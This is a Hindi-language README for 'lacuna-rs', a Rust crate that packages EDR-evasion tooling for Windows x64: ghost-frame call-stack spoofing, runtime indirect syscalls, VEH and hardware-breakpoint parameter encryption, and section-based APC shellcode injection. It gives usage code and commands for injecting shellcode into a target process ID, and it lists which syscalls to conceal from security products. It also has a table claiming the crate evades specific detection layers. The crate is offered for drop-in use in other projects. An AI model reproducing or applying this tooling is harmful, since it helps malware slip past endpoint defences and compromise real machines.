
Windows x64 पर ghost-frame call-stack spoofing, runtime indirect syscalls और APC injection के लिए Rust crate। यह EDR evasion के लिए SSN resolution, JIT stub emission और VEH-आधारित parameter encryption प्रदान करता है।
Ghost-frame कॉल-स्टैक स्पूफिंग + विंडोज x64 के लिए रनटाइम इनडायरेक्ट सिस्कॉल — Rust में पोर्ट किया गया।
Mohamed Alzhrani (0xmaz) द्वारा LACUNA Chain (lacuna_chain.c) से पोर्ट किया गया।
lacuna-rs एक पुन: प्रयोज्य Rust क्रेट है जो मूल C TTP के समान प्रिमिटिव प्रदान करता है, इसे इस प्रकार संरचित किया गया है कि इसे किसी भी Rust प्रोजेक्ट में डाला जा सकता है — जैसे wsyscall-rs या syscalls-rs, लेकिन रनटाइम SSN रिजॉल्यूशन, प्रति-फंक्शन syscall;ret टार्गेटिंग, और ghost-frame स्टैक स्पूफिंग के साथ।
stack-spoofफीचर चुपचाप विफल हो जाएगा यदि उपभोक्ता क्रेट फ्रेम पॉइंटर्स के साथ संकलित नहीं है।
chain.rs में स्टैक-स्टॉम्पिंग प्रिमिटिव mov rbp, {x} इनलाइन asm के माध्यम से कॉलर के रिटर्न-एड्रेस स्लॉट का पता लगाते हैं। इसके लिए RBP चेन बरकरार रहना आवश्यक है। Rust (और अधिकांश रिलीज़-मोड कंपाइलर) डिफ़ॉल्ट रूप से फ्रेम पॉइंटर्स को छोड़ देते हैं।
build.rs इस क्रेट के स्वयं के कोडजन के लिए force-frame-pointers=yes सेट करता है, लेकिन Cargo डाउनस्ट्रीम क्रेट्स में कंपाइलर फ्लैग प्रचारित नहीं कर सकता। आपको इसे अपने स्वयं के प्रोजेक्ट में जोड़ना होगा:
# .cargo/config.toml (YOUR क्रेट में, lacuna-rs में नहीं)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
इसके बिना, stomp_plant() RBP से कचरा पढ़ेगा और या तो कोई कार्रवाई नहीं करेगा (सर्वोत्तम स्थिति) या स्टैक को दूषित करेगा (सबसे खराब स्थिति)। क्रेट के पास यह पता लगाने का कोई तरीका नहीं है कि रनटाइम पर फ्रेम पॉइंटर्स सक्षम हैं या नहीं — यह बस काम नहीं करेगा।
यदि आपको केवल स्कैनिंग, SSN रिजॉल्यूशन, या इंजेक्शन प्रिमिटिव (स्टैक स्पूफिंग के बिना) की आवश्यकता है, तो आप stack-spoof फीचर को छोड़ सकते हैं और यह आवश्यकता लागू नहीं होती।
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
जब कोई फीचर सक्षम नहीं होता है, तो केवल स्कैनिंग/PE/NT लेयर ही उपलब्ध होते हैं।
cargo run --example scan
cargo run --example verify --features stack-spoof
वास्तविक इम्प्लांट के साथ इंजेक्शन उदाहरण - C2 ऑफलाइन था लेकिन शेलकोड निष्पादित हुआ
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
VEH डायग्नोस्टिक आउटपुट (स्टैक डंप, रजिस्टर प्रिंट) सक्षम करने के लिए --verbose जोड़ें:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
हर थ्रेड पर APCs को कतारबद्ध करने के बजाय (जो बहुत अधिक थ्रेड्स के एक साथ अलर्ट होने पर प्रक्रिया को क्रैश कर सकता है), inject_sapc सबसे अच्छे MAX_APC_THREADS (5) उम्मीदवारों का चयन करने के लिए स्कोरिंग एल्गोरिदम का उपयोग करता है:
NtQueryInformationThread(ThreadCycleTime) — प्राथमिक गतिविधि संकेतकNtQueryInformationThread(ThreadTimes) — कर्नेल + उपयोगकर्ता समयNtQueryInformationThread(ThreadSuspendCount) — गैर-निलंबित थ्रेड्स को +300 बोनस मिलता है; निलंबित थ्रेड्स को प्रति निलंबन गणना -150 मिलता हैNtQueryInformationThread(ThreadBasicInformation) — प्राथमिकता 8-10 वाले थ्रेड्स को +150 बोनस मिलता है; सीमा से बाहर की प्राथमिकताओं को -100 दंड मिलता हैपूरी तरह से निष्क्रिय थ्रेड्स (शून्य चक्र और शून्य CPU समय) को पूरी तरह से छोड़ दिया जाता है। शेष उम्मीदवारों को स्कोर के अनुसार क्रमबद्ध किया जाता है (उच्चतम पहले, समान स्कोर पर चक्रों के आधार पर टाई-ब्रेक) और शीर्ष 5 तक सीमित किया जाता है।
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// घोस्ट क्षेत्रों को स्कैन करें
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll में {} घोस्ट क्षेत्र", n);
// किसी विशिष्ट फंक्शन के लिए SSN + syscall;ret हल करें
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + फंक्शन के स्वयं के syscall;ret पते को हल करें
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-उत्सर्जित स्टब: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (या jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret यदि build_chain कॉल किया गया था)
let stub = stub::make_stub(ssn, syscall_ret).expect("स्टब आवंटन विफल");
// उपयुक्त फंक्शन पॉइंटर प्रकार में कास्ट करें और कॉल करें
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u को घोस्ट क्षेत्रों के लिए स्कैन करें और
// छह-परत वाला नकली कॉल स्टैक बनाएँ। G_GHOST_GADGET सेट करता है ताकि स्टब
// हस्ताक्षरित DLL में JMP [RBX] के माध्यम से रूट करें।
lacuna::chain::build_chain();
// VEH हैंडलर पंजीकृत करें (पैराम एन्क्रिप्शन + चेन गार्ड)
let _veh = lacuna::veh::VehGuard::register().expect("VEH पंजीकरण विफल");
// वैकल्पिक: रनटाइम पर वर्बोज़ डायग्नोस्टिक्स सक्षम करें
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// घोस्ट फ्रेम्स लगाएँ (रिटर्न एड्रेस को हस्ताक्षरित DLL घोस्ट से बदलता है)
lacuna::chain::stomp_plant();
// syscall;ret पर DR0 को आर्म करें — VEH सीमा पर XOR-डिक्रिप्ट पैराम करेगा
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// इनडायरेक्ट स्टब के माध्यम से कॉल करें — RIP ntdll के अंदर कर्नेल प्रवेश पर उतरता है
let _status = unsafe { open_proc(/* XOR-एन्क्रिप्टेड पैराम */) };
// किसी भी गैर-सुरक्षित कॉल से पहले हमेशा निःशस्त्र करें
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
हर API कॉल को पूर्ण LACUNA उपचार की आवश्यकता नहीं है। मुख्य सिद्धांत है: उन कॉल्स को छुपाएँ जिन्हें EDR इंजेक्शन या पोस्ट-एक्सप्लॉयटेशन गतिविधि के रूप में सहसंबंधित करेगा।
ये "क्राउन ज्वेल" NT सिस्कॉल हैं जिन्हें EDR हुक करते हैं और सहसंबंधित करते हैं:
इनमें से प्रत्येक के लिए:
nt::resolve(ntdll, b"NtXxx\0") के साथ हल करेंstub::make_stub(ssn, syscall_ret) के साथ एक स्टब उत्सर्जित करेंveh::pcrypt_arm(key, syscall_ret, true) के साथ संवेदनशील पैरामीटर को XOR-एन्क्रिप्ट करेंchain::stomp_plant() और chain::stomp_restore() के बीच लपेटेंnt::resolve(ntdll, b"NtXxx\0") के साथ — (SSN, syscall_ret_VA) लौटाता है।stub::make_stub(ssn, syscall_ret) के साथ एक JIT स्टब — एक कॉल करने योग्य फंक्शन पॉइंटर लौटाता है।extern "system" fn(...) प्रकार में core::mem::transmute के माध्यम से।chain::build_chain() के साथ घोस्ट-फ्रेम चेन बनाएँ और कॉल के चारों ओर chain::stomp_plant() / chain::stomp_restore() कॉल करें।veh::pcrypt_arm(key, syscall_ret, true) के साथ पैराम एन्क्रिप्शन को आर्म करें, और बाद में veh::pcrypt_disarm() करें।स्टब स्वचालित रूप से mov r10, rcx / mov eax, SSN / jmp [syscall;ret] अनुक्रम को संभालता है। यदि कोई घोस्ट गैजेट पंजीकृत किया गया था, तो स्टब दोहरे-उपयोग निष्पादन रीडायरेक्ट + शून्य-आर्टिफैक्ट ब्रिज फ्रेम के लिए JMP [RBX] के माध्यम से रूट करता है।
LACUNA Chain राइटअप से सभी 9 प्रमुख योगदान कोड में दर्शाए गए हैं:
syscalls-rs का उपयोग क्यों न करें?syscalls-rs और wsyscall-rs एक विशिष्ट Windows बिल्ड के ntdll से बिल्ड-टाइम SSN तालिका उत्पन्न करते हैं। यदि लक्ष्य मशीन एक अलग बिल्ड चलाती है, तो SSN गलत होते हैं और सिस्कॉल विफल हो जाते हैं (या EDR ह्यूरिस्टिक्स को ट्रिप करते हैं)।
lacuna-rs रनटाइम पर ntdll के स्टब्स को सीधे पढ़कर SSN हल करता है, और फंक्शन के स्वयं के syscall;ret निर्देश को लक्षित करता है ताकि RIP कर्नेल प्रवेश पर ntdll के अंदर हो — EDR "SSN बेमेल" और "अनबैक्ड मेमोरी से इनडायरेक्ट सिस्कॉल" ह्यूरिस्टिक्स को पराजित करता है।
इसके अतिरिक्त, lacuna-rs घोस्ट-फ्रेम स्टैक स्पूफिंग चेन प्रदान करता है जो syscalls-rs में नहीं है।
x86_64-pc-windows-msvc (या x86_64-pc-windows-gnu)litcrypt2 (कंपाइल-टाइम स्ट्रिंग ऑबफस्केशन)stack-spoof के लिए)stack-spoof फीचर के लिए फ्रेम पॉइंटर्स की आवश्यकता है। build.rs इस क्रेट के स्वयं के कोडजन के लिए स्वचालित रूप से force-frame-pointers=yes सेट करता है, लेकिन उपभोक्ता क्रेट्स को भी इसे अपने .cargo/config.toml में सेट करना होगा:
# .cargo/config.toml (उपभोक्ता क्रेट में)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
क्रेट और उदाहरणों में सभी स्ट्रिंग लिटरल lc!() मैक्रो में लपेटे गए हैं, जो उन्हें कंपाइल समय पर एन्क्रिप्ट करता है और रनटाइम पर डिक्रिप्ट करता है। एन्क्रिप्शन कुंजी LITCRYPT_ENCRYPT_KEY पर्यावरण चर से पढ़ी जाती है; यदि सेट नहीं है, तो litcrypt2 स्वचालित रूप से एक यादृच्छिक कुंजी उत्पन्न करता है।
पुनरुत्पादनीय बिल्ड के लिए एक कुंजी पिन करने के लिए:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # stack-spoof के लिए force-frame-pointers सेट करता है
├── src/
│ ├── lib.rs # क्रेट रूट + पुन: निर्यात + scan_all() + litcrypt2 सेटअप
│ ├── win.rs # Win32/NT FFI बाइंडिंग (no_std-संगत)
│ ├── pe.rs # PE सेक्शन + एक्सपोर्ट पार्सिंग
│ ├── scan.rs # .pdata घोस्ट-रीजन + गैजेट स्कैनिंग
│ ├── nt.rs # SSN रिजॉल्यूशन + syscall;ret टार्गेटिंग
│ ├── stub.rs # JIT इनडायरेक्ट-सिस्कॉल स्टब एमिशन
│ ├── veh.rs # VEH + हार्डवेयर-ब्रेकपॉइंट पैराम एन्क्रिप्शन
│ ├── chain.rs # LACUNA घोस्ट-फ्रेम चेन + स्टॉम्प
│ └── inject.rs # सेक्शन-आधारित APC इंजेक्शन
├── examples/
│ ├── scan.rs # lacuna.exe स्कैन
│ ├── verify.rs # lacuna.exe सत्यापन
│ └── inject.rs # lacuna.exe इंजेक्ट <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc लक्ष्य
इस प्रोजेक्ट को एक AI चैटबॉट द्वारा सक्रिय रूप से सहायता प्रदान की गई थी। मुझे एक नए, बहुत सक्षम ओपन सोर्स मॉडल (GLM-5.2 by Z.ai (Zhipu AI)) का परीक्षण करने का मौका मिला और मैं इसे एक चुनौतीपूर्ण कार्य देना चाहता था। सीखा गया सबक: यह अच्छी तरह से काम करता है यदि मानव जानता है कि परिणाम कैसा दिखना चाहिए। यदि नहीं... तो केवल बकवास
MIT
| प्रिमिटिव | C फंक्शन | Rust मॉड्यूल |
|---|
| PE सेक्शन + एक्सपोर्ट पार्सिंग | pe_section(), pe_export() | pe |
.pdata घोस्ट-रीजन स्कैनिंग | scan_ghosts(), best_ghost() | scan |
घोस्ट-गैजेट खोज (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP-गैप ढूँढने वाला | win32u_nop_gap() | scan |
| BYOUD-MF एंकर ढूँढने वाला | find_mf_target() | scan |
| SSN रिजॉल्यूशन (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
प्रति-फंक्शन syscall;ret लोकेटर | find_func_syscall() | nt |
| JIT इनडायरेक्ट-सिस्कॉल स्टब एमिशन | alloc_stub() | stub |
| घोस्ट-गैजेट स्टब रीडायरेक्ट | (alloc_stub() में) | stub |
| VEH + हार्डवेयर-ब्रेकपॉइंट पैराम एन्क्रिप्शन | param_encrypt_veh(), pcrypt_arm() | veh |
| चेन-गार्ड VEH | chain_veh() | veh |
| LACUNA चेन निर्माण | build_chain() | chain |
| स्टैक स्टॉम्प (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| चेन वॉकर (सत्यापन) | lacuna_walk_chain() | chain |
| सेक्शन-आधारित APC इंजेक्शन | do_inject_sapc() | inject |
| फीचर | विवरण | क्या फ्रेम पॉइंटर्स आवश्यक हैं? |
|---|
syscalls (डिफ़ॉल्ट) | SSN रिजॉल्यूशन + JIT स्टब एमिशन | नहीं |
inject (डिफ़ॉल्ट) | सेक्शन-आधारित APC इंजेक्शन (inject::inject_sapc) | नहीं |
veh | VEH + हार्डवेयर-ब्रेकपॉइंट पैरामीटर एन्क्रिप्शन | नहीं |
stack-spoof | LACUNA घोस्ट-फ्रेम चेन + स्टैक स्टॉम्प | हाँ |
no-std | no_std मोड (प्रायोगिक) | नहीं |
| कॉल | यह संवेदनशील क्यों है |
|---|
NtOpenProcess | किसी अन्य प्रक्रिया के लिए हैंडल खोलता है — इंजेक्शन का पहला कदम |
NtCreateSection + NtMapViewOfSection (रिमोट) | सेक्शन-आधारित इंजेक्शन हस्ताक्षर |
NtWriteVirtualMemory | क्रॉस-प्रोसेस लेखन — क्लासिक इंजेक्शन संकेतक |
NtCreateThreadEx | रिमोट थ्रेड निर्माण — उच्चतम-संकेत इंजेक्शन प्रिमिटिव |
NtQueueApcThread | APC इंजेक्शन — उच्च-संकेत |
NtProtectVirtualMemory | RWX अनुमति परिवर्तन — शेलकोड स्टेजिंग संकेतक |
NtAllocateVirtualMemory (रिमोट) | रिमोट आवंटन — इंजेक्शन प्रस्तावना |
NtSetInformationThread | थ्रेड छिपाना (HideFromDebugger) — चोरी संकेतक |
| कॉल | यह सुरक्षित क्यों है |
|---|
NtQueryInformationThread | केवल-क्वेरी, शायद ही कभी हुक किया जाता है, कोई क्रॉस-प्रोसेस लेखन नहीं |
NtDelayExecution | नींद — हानिरहित, हर एप्लिकेशन द्वारा उपयोग किया जाता है |
NtClose | हैंडल बंद करना — हानिरहित, अत्यंत सामान्य |
GetModuleHandleA / GetProcAddress | मॉड्यूल रिजॉल्यूशन — सिस्कॉल नहीं, EDR उपयोगकर्ता-मोड हुक द्वारा हुक करने योग्य नहीं |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | थ्रेड गणना — kernel32, ntdll सिस्कॉल नहीं |
OpenThread / CloseHandle | मानक हैंडल संचालन — kernel32 |
GetThreadContext / SetThreadContext | DR0 के लिए आवश्यक — kernel32, केवल स्व-प्रक्रिया |
lc!()set_verbose(true)| # | राइटअप अवधारणा | कोड स्थान | विवरण |
|---|
| 1 | BYOUD-Gap (शून्य .pdata संशोधन) | chain.rs — घोस्ट फ्रेम चेन निर्माण | RUNTIME_FUNCTION प्रविष्टियों के बीच अंतराल का शोषण करता है; अनवाइंडर उन्हें लीफ फ्रेम के रूप में मानता है (RSP += 8) |
| 2 | ETW-Ti APC विंडो अटैक | inject.rs — NtDelayExecution अलर्टेबल ड्रेन | थ्रेड अलर्टेबल स्थिति में हेरफेर करके नियंत्रित करता है कि ETW-Ti APC स्टैक स्नैपशॉट कब फायर होता है |
| 3 | BYOUD संदर्भ में पैरामीटर एन्क्रिप्शन | veh.rs — pcrypt_arm(), param_encrypt_veh() | सिस्कॉल पैराम को स्टेजिंग पर XOR-एन्क्रिप्ट करता है; syscall निर्देश पर हार्डवेयर-ब्रेकपॉइंट VEH के अंदर डिक्रिप्ट करता है |
| 4 | Win32u NOP गैप चेन + घोस्ट गैजेट | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | win32u.dll में 1,242 NOP गैप श्वेतसूचीबद्ध लीफ फ्रेम प्रदान करते हैं; ntdll+0xFC47B पर JMP [RBX] घोस्ट गैजेट |
| 5 | kernelbase सिमैंटिक घोस्ट प्रॉक्सिमिटी | chain.rs — L2_kbase लेयर VirtualProtect के पास | 238-बाइट घोस्ट VirtualProtect के प्रवेश बिंदु पर समाप्त होता है — वास्तविक VP रिटर्न साइट से अप्रभेद्य |
| 6 | BYOUD-MF (मशीन फ्रेम RSP टेलीपोर्ट) | chain.rs — MachFrame struct, scan.rs — find_mf_target() | KiUser* डिस्पैचर्स में UWOP_PUSH_MACHFRAME (opcode 10) का शोषण करता है एकल फ्रेम में मनमाना RSP टेलीपोर्ट के लिए |
| 7 | BYOUD-RT (रनटाइम RSP गणना) | chain.rs — teb_stack_base(), teb_stack_limit() | कॉल समय पर सटीक फ्रेम दूरी की गणना करने के लिए TEB.StackBase (GS:[0x08]) पढ़ता है — कोई पूर्व-अंशांकन आवश्यक नहीं |
| 8 | wow64.dll घोस्ट प्रॉक्सिमिटी | chain.rs — L1_wow64 लेयर, scan.rs — Wow64PrepareForException को लक्षित करता है | 91-बाइट घोस्ट Wow64PrepareForException प्रवेश पर समाप्त होता है — चेन के लिए चौथी सिमैंटिक लेयर |
| 9 | छह-परत LACUNA चेन | chain.rs — LacunaStack struct (L1-L5 + MachFrame) | पूर्ण चेन: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| डिटेक्शन लेयर | स्थिति | कार्यान्वयन |
|---|
| मॉड्यूल-ऑफ-ओरिजिन जांच | बचा लिया गया | सभी फ्रेम ntdll / kernelbase / wow64 / win32u में |
| अनवाइंड वॉक शुद्धता | बचा लिया गया | सभी लैकुना फ्रेम लीफ हैं -> मान्य RSP+8 |
.pdata फोरेंसिक स्कैन | बचा लिया गया | शून्य संशोधन; अंतराल पहले से मौजूद हैं |
| CET शैडो स्टैक | बचा लिया गया | शुद्ध लीफ चेन; शैडो स्टैक से परामर्श नहीं लिया गया |
| सिमैंटिक फ्रेम विश्लेषण | बचा लिया गया | WoW64 अपवाद + VirtualProtect आसन्नता |
| Win32u नियम छूट | बचा लिया गया | लेयर 4 सभी नियमों द्वारा स्पष्ट रूप से बाहर रखा गया |
| ETW-Ti STACKWALK | बचा लिया गया | APC विंडो हमला स्नैपशॉट समय को नियंत्रित करता है |
| पैरामीटर निरीक्षण | बचा लिया गया | HW ब्रेकपॉइंट VEH डिक्रिप्शन |
| कर्नेल कॉलबैक | आंशिक | हैंडल संचालन अभी भी ObRegisterCallbacks फायर करते हैं |